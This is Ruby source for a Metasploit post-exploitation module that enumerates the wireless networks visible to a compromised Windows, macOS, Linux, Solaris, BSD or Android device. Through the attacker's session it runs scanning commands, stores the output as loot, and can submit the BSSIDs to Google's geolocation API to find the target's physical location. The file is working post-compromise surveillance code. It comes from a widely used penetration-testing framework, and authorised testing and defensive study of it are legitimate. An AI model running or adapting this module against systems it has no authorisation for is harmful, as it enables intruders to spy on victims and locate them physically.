##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Multiplatform WLAN Enumeration and Geolocation',
        'Description' => %q{
          Enumerate wireless networks visible to the target device.
          Optionally geolocate the target by gathering local wireless networks and
          performing a lookup against Google APIs.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Tom Sellers <tom[at]fadedcode.net>'],
        'Platform' => %w[android osx win linux bsd solaris],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              android_*
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false]),
        OptString.new('APIKEY', [ false, 'Key for Google APIs if error is received without one.', '']),
      ]
    )
  end

  def get_strength(quality)
    # Convert the signal quality to signal strength (dbm) to be sent to
    # Google.  Docs indicate this should subtract 100 instead of the 95 I
    # am using here, but in practice 95 seems to be closer.
    signal_str = quality.to_i / 2
    signal_str = (signal_str - 95).round
    return signal_str
  end

  def parse_wireless_win(listing)
    wlan_list = []
    raw_networks = listing.split("\r\n\r\n")

    raw_networks.each do |network|
      details = network.match(/^SSID \d+ : ([^\r\n]*).*?BSSID 1\s+: (\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2}).*?Signal\s+: (\d{1,3})%/m)
      if !details.nil?
        strength = get_strength(details[3])
        wlan_list << [ details[2], details[1], strength ]
      end
    end

    return wlan_list
  end

  def parse_wireless_linux(listing)
    wlan_list = []
    raw_networks = listing.split('Cell ')

    raw_networks.each do |network|
      details = network.match(/^\d{1,4} - Address: (\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m)
      if !details.nil?
        wlan_list << [ details[1], details[3], details[2] ]
      end
    end

    return wlan_list
  end

  def parse_wireless_osx(listing)
    wlan_list = []
    raw_networks = listing.split("\n")

    raw_networks.each do |network|
      network = network.strip
      details = network.match(/^(.*(?!\h\h:))\s*(\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2})\s*([\d-]{1,3})/)
      if !details.nil?
        wlan_list << [ details[2], details[1], details[3] ]
      end
    end

    return wlan_list
  end

  def perform_geolocation(wlan_list)
    if wlan_list.blank?
      print_error('Unable to enumerate wireless networks from the target.  Wireless may not be present or enabled.')
      return
    end

    if datastore['APIKEY'].empty?
      print_error('Google API key is required.')
      return
    end

    g = Rex::Google::Geolocation.new
    g.set_api_key(datastore['APIKEY'])
    wlan_list.each do |wlan|
      g.add_wlan(wlan[0], wlan[2]) # bssid, signalstrength
    end

    begin
      g.fetch!
    rescue RuntimeError => e
      print_error("Error: #{e}")
    else
      print_status(g.to_s)
      print_status("Google Maps URL: #{g.google_maps_url}")
    end
  end

  # Run Method for when run command is issued
  def run
    case session.platform
    when 'windows'
      listing = cmd_exec('netsh wlan show networks mode=bssid')
      if listing.nil?
        print_error('Unable to generate wireless listing.')
        return nil
      else
        store_loot('host.windows.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
        # The wireless output does not lend itself to displaying on screen for this platform.
        print_good('Wireless list saved to loot.')
        if datastore['GEOLOCATE']
          wlan_list = parse_wireless_win(listing)
          perform_geolocation(wlan_list)
          return
        end
      end

    when 'osx'
      listing = cmd_exec('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s')
      if listing.nil?
        print_error('Unable to generate wireless listing.')
        return nil
      else
        store_loot('host.osx.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
        print_good("Target's wireless networks:\n\n#{listing}\n")
        if datastore['GEOLOCATE']
          wlan_list = parse_wireless_osx(listing)
          perform_geolocation(wlan_list)
          return
        end
      end

    when 'linux'
      listing = cmd_exec('iwlist scanning')
      if listing.nil?
        print_error('Unable to generate wireless listing.')
        return nil
      else
        store_loot('host.linux.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
        # The wireless output does not lend itself to displaying on screen for this platform.
        print_good('Wireless list saved to loot.')
        if datastore['GEOLOCATE']
          wlan_list = parse_wireless_linux(listing)
          perform_geolocation(wlan_list)
          return
        end
      end

    when 'solaris'
      listing = cmd_exec('dladm scan-wifi')
      if listing.blank?
        print_error('Unable to generate wireless listing.')
        return nil
      else
        store_loot('host.solaris.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
        print_good("Target's wireless networks:\n\n#{listing}\n")
        print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
        return
      end

    when 'bsd'
      interface = cmd_exec("dmesg | grep -i wlan | cut -d ':' -f1 | uniq")
      # Printing interface as this platform requires the interface to be specified
      # it might not be detected correctly.
      print_status("Found wireless interface: #{interface}")
      listing = cmd_exec("ifconfig #{interface} scan")
      if listing.blank?
        print_error('Unable to generate wireless listing.')
        return nil
      else
        store_loot('host.bsd.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
        print_good("Target's wireless networks:\n\n#{listing}\n")
        print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
        return
      end
    when 'android'
      log = client.android.wlan_geolocate
      listing = ''
      wlan_list = []
      log.each do |x|
        mac = x['bssid']
        ssid = x['ssid']
        ss = x['level'].to_s
        listing += "BSSID: #{mac}\n"
        listing += "SSID: #{ssid}\n"
        listing += "Strength: #{ss}\n\n"
        wlan_list << [mac, ssid, ss]
      end
      if listing.blank?
        print_error('Unable to generate wireless listing.')
        return nil
      end
      store_loot('host.android.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
      print_good("Target's wireless networks:\n\n#{listing}\n")
      if datastore['GEOLOCATE']
        perform_geolocation(wlan_list)
        return
      end
    else
      print_error("The target's platform, #{session.platform}, is not supported at this time.")
      return nil
    end
  rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError => e
    vprint_error(e.message)
  rescue StandardError => e
    print_status("The following error was encountered: #{e.class} #{e}")
  end

end
